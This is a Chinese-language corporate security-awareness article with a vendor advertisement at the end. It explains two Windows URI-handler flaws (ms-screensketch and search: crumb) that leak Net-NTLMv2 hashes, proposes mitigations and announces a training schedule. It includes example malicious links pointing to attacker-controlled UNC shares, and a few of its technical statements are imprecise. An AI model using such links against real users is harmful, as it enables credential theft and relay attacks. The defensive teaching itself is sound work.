引子：两桩典型案例的头脑风暴
在信息安全的浩瀚星空中，细小的流星常常点燃极大的警示。今天，我想用 两场真实且具有深远教育意义的安全事件，帮助大家在思维的火花中快速抓住风险的本质。
案例一：Windows Snipping Tool “filePath” 诱导攻击（CVE‑2026‑33829）
情景再现：某企业内部员工收到一封看似来自采购部的邮件，邮件正文嵌入了一个超链接 ms-screensketch:filePath=\\10.0.0.55\share\malicious.docx。员工在 Windows 10 机器上轻点链接后，系统自动弹出剪切工具并尝试访问上述 UNC 路径。此时，Windows 向攻击者托管的 SMB 服务器发起 NTLM 身份验证，泄露了 Net‑NTLMv2 哈希。攻击者随后利用该哈希进行 NTLM 继承攻击，在内部网络中横向移动，最终窃取了财务系统的敏感数据。
技术要点：
1. URI 处理器缺乏路径过滤：ms-screensketch: 协议直接将 filePath 参数解释为 UNC，未做安全校验。
2. SMB 自动身份验证：在默认配置下，Windows 会在访问 UNC 时自动使用当前登录凭证进行 NTLM 认证。
3. 哈希泄露 → 继承攻击：攻击者只需将捕获的 Net‑NTLMv2 哈希转发到内部资源，即可冒充合法用户。
这起事件的教训在于，任何看似无害的本地 URI，都可能成为“暗门”，把外部请求悄悄拉进企业内部”。
案例二：最新未修补的 Search URI 漏洞（本文所述）
情景再现：2026 年 4 月，某大型制造企业的员工在浏览器中打开了一篇行业文章，文章中嵌入了 search:query=test&crumb=location=\\10.0.1.100\share 的链接。员工点击后，Windows 立即启动 “搜索” 程序，并尝试访问 \\10.0.1.100\share。同样的，系统自动向攻击者的 SMB 服务器提交 NTLMv2 哈希，攻击者随后完成了 NTLM 继承，获取了企业内部的 LDAP 账户权限，导致后续的勒索和数据篡改。
技术要点：
1. 新颖的 URI 协议：search: 协议本是为本地搜索设计，却被滥用于传递 crumb=location: 参数，导致 UNC 路径同样被无条件调用。
2. “crumb” 参数的历史隐患：早在 2024 年，Varonis 已指出 crumb 参数可以被利用进行哈希泄露，此次攻击正是对该研究的“完美复刻”。
3. 厂家响应迟缓：微软在披露后仅表示“仅对重要/关键严重性案例提供服务”，留下了大量中危漏洞未被修补。
这起案例再次提醒我们，攻击者并不一定需要“新武器”，只要把已有的功能玩出新花样，就能在防线的细微裂缝中钻洞。
深度解析：从根因到防御的全链路思考
1. URI 处理器的安全设计缺陷
- 输入验证缺失：无论是
ms-screensketch:还是search:，协议解析器都未对传入的路径进行白名单或正则校验。 - 默认行为的安全假设：开发者默认 Windows 会安全地处理 UNC 路径，却忽视了 SMB 自动 NTLM 认证 本身就是攻击面。
2. NTLMv2 哈希泄露的危害链
- 捕获阶段：通过 SMB 访问触发哈希泄露。
- 转发阶段：攻击者使用 “Pass‑the‑Hash” 或 “NTLM Relay” 将哈希转发至内部目标。
- 滥用阶段：哈希在目标系统上可直接用于身份认证，甚至可演化为 Kerberos 票据伪造（若内部开启了 “SMB Signing” 漏洞）。
3. 已知的缓解措施
| 措施 | 说明 | 适用范围 |
|---|---|---|
| 阻断 SMB 445/139 出口 | 在防火墙或主机本地禁用不必要的 SMB 端口。 | 所有非文件服务器主机 |
| 强制 SMB 签名 | 开启 RequireSecuritySignature，防止哈希被中继。 |
需要 SMB 服务的服务器 |
| 禁用 NTLM | 通过组策略将 NTLM 设为 “拒绝”，强制使用 Kerberos。 | 受控域环境 |
| URL 协议白名单 | 通过浏览器或系统设置，仅允许可信的 URI 协议。 | 所有终端用户机器 |
| 安全意识培训 | 教育用户不随意点击未知来源的链接，尤其是自定义协议链接。 | 全体员工 |
但最关键的，仍是：人——每一次点击都可能是一次“门把手”。
“无人化、数字化、具身智能化”时代的安全新挑战
1. 无人化：机器人、无人机与自动化生产线
在工厂车间，AGV（自动导引车）与协作机器人已经成为日常。它们的控制系统大多基于 工业协议（OPC-UA、Modbus），而这些协议往往缺乏强身份验证。若攻击者通过上文提到的 NTLM 继承获取了内部域账户，便可 远程控制这些无人工长的设备，导致生产停摆甚至安全事故。
2. 数字化：云端协同、SaaS 与微服务
企业的文档、代码和业务系统逐步迁移至 Azure、AWS 等公有云。云端身份提供者（Azure AD、Okta）若仍支持 NTLM 或古老的 Kerberos 协议，同样会成为攻击者的跳板。更甚者，容器化微服务的日志收集、监控代理往往以系统账户运行，若被窃取，则相当于给攻击者提供了 横向渗透的“万能钥匙”。
3. 具身智能化：智能体、边缘 AI 与 AR/VR
在客服中心，聊天机器人通过 语言模型 与用户交互；在仓库，AR 眼镜帮助拣货。所有这些具身智能设备都需要 网络连接，并经常使用 OAuth 2.0、OpenID Connect 等协议。若攻击者已持有企业内部的 NTLM 哈希，他们可以 伪装成合法设备向身份提供者申请令牌，进而控制智能体，进行信息泄露或业务欺诈。
“祸起萧墙”，安全的每一块砖瓦都不可忽视。技术的进步带来便利，也把攻击面从 桌面 扩展到了 车间、云端、边缘，只有全链路的防护与持续的安全文化，才能在这条漫长的数字高速路上保持稳健。
号召：让安全意识成为每位职工的“第二本能”
尊敬的同事们，安全不应是 IT 部门的专属任务，而是 每个人的日常职责。基于上述案例和未来趋势，我们即将启动 《信息安全意识提升培训》，内容涵盖：
- 漏洞认知与常见攻击手法：从 “搜索 URI 漏洞” 到 “供应链攻击”。
- 安全操作实战：如何辨别钓鱼邮件、判断自定义协议链接的可信度。
- 企业安全策略解读：SMB 签名、NTLM 禁用、最小特权原则的落地。
- 无人化/数字化/具身智能化环境下的安全防御：案例研讨、应急演练。
“工欲善其事，必先利其器”。 让我们以本次培训为利器，提升个人防护能力，进而筑起企业的整体防线。
培训安排（示例）
| 日期 | 时间 | 主题 | 讲师 | 形式 |
|---|---|---|---|---|
| 6 月 10 日 | 09:00‑10:30 | 从 Windows URI 漏洞看 NTLM 泄露 | 安全研发部 张工 | 线上直播 |
| 6 月 12 日 | 14:00‑15:30 | 无人化车间的安全隐患与防护 | 运营部 李老师 | 互动研讨 |
| 6 月 15 日 | 10:00‑11:30 | 云端与边缘 AI 的身份管理 | 云平台组 王副总 | 案例拆解 |
| 6 月 18 日 | 13:00‑14:30 | 综合演练：从钓鱼到横向渗透 | 红蓝对抗团队 | 实战演练 |
“奇技淫巧，非久安”。 只有把学习转化为习惯，才能真正抵御来自内部与外部的威胁。请大家提前在公司内部学习平台报名，并在培训前完成 《信息安全自测题库》，以便精准定位个人的薄弱环节。
实施要点：从“认知”到“行动”的闭环
- 持续监测：部门安全负责人需每周检查本部门机器的 SMB 出口、NTLM 登录日志。
- 自动化修补：部署 Endpoint Detection & Response（EDR），自动阻断未知的
search:、ms-screensketch:协议调用。 - 权限最小化：对所有业务系统实行 基于角色的访问控制（RBAC），并定期审计。
- 即时反馈：培训结束后，组织 “安全红线” 案例复盘会，让员工亲自演练应急响应。
正所谓 “祸福无常，预防为上”。 让我们在数字化的浪潮中，用知识和行动为企业筑起最坚固的安全堤坝。
结语：共筑安全未来
在信息技术日新月异的今天，安全不是一场一次性的战役，而是一场持久的马拉松。
通过对两起典型案例的深度剖析，我们看到：
– 只要攻击者能够 诱导用户点击，即便是操作系统的原生功能也可能被“劫持”。
– NTLM 哈希泄露 的链式危害，足以让整个企业网络陷入黑暗。
但同时，每一次学习、每一次演练，都是对这条黑暗隧道的灯塔。
让我们以本次培训为起点，以“安全为本，防护先行”的理念，携手迈向 无人化、数字化、具身智能化 融合的安全新纪元。
共策安全，同行未来！
在日益复杂的网络安全环境中，昆明亭长朗然科技有限公司为您提供全面的信息安全、保密及合规解决方案。我们不仅提供定制化的培训课程，更专注于将安全意识融入企业文化，帮助您打造持续的安全防护体系。我们的产品涵盖数据安全、隐私保护、合规培训等多个方面。如果您正在寻找专业的安全意识宣教服务，请不要犹豫，立即联系我们，我们将为您量身定制最合适的解决方案。
- 电话：0871-67122372
- 微信、手机：18206751343
- 邮件：info＠securemymind.com
- QQ: 1767022898
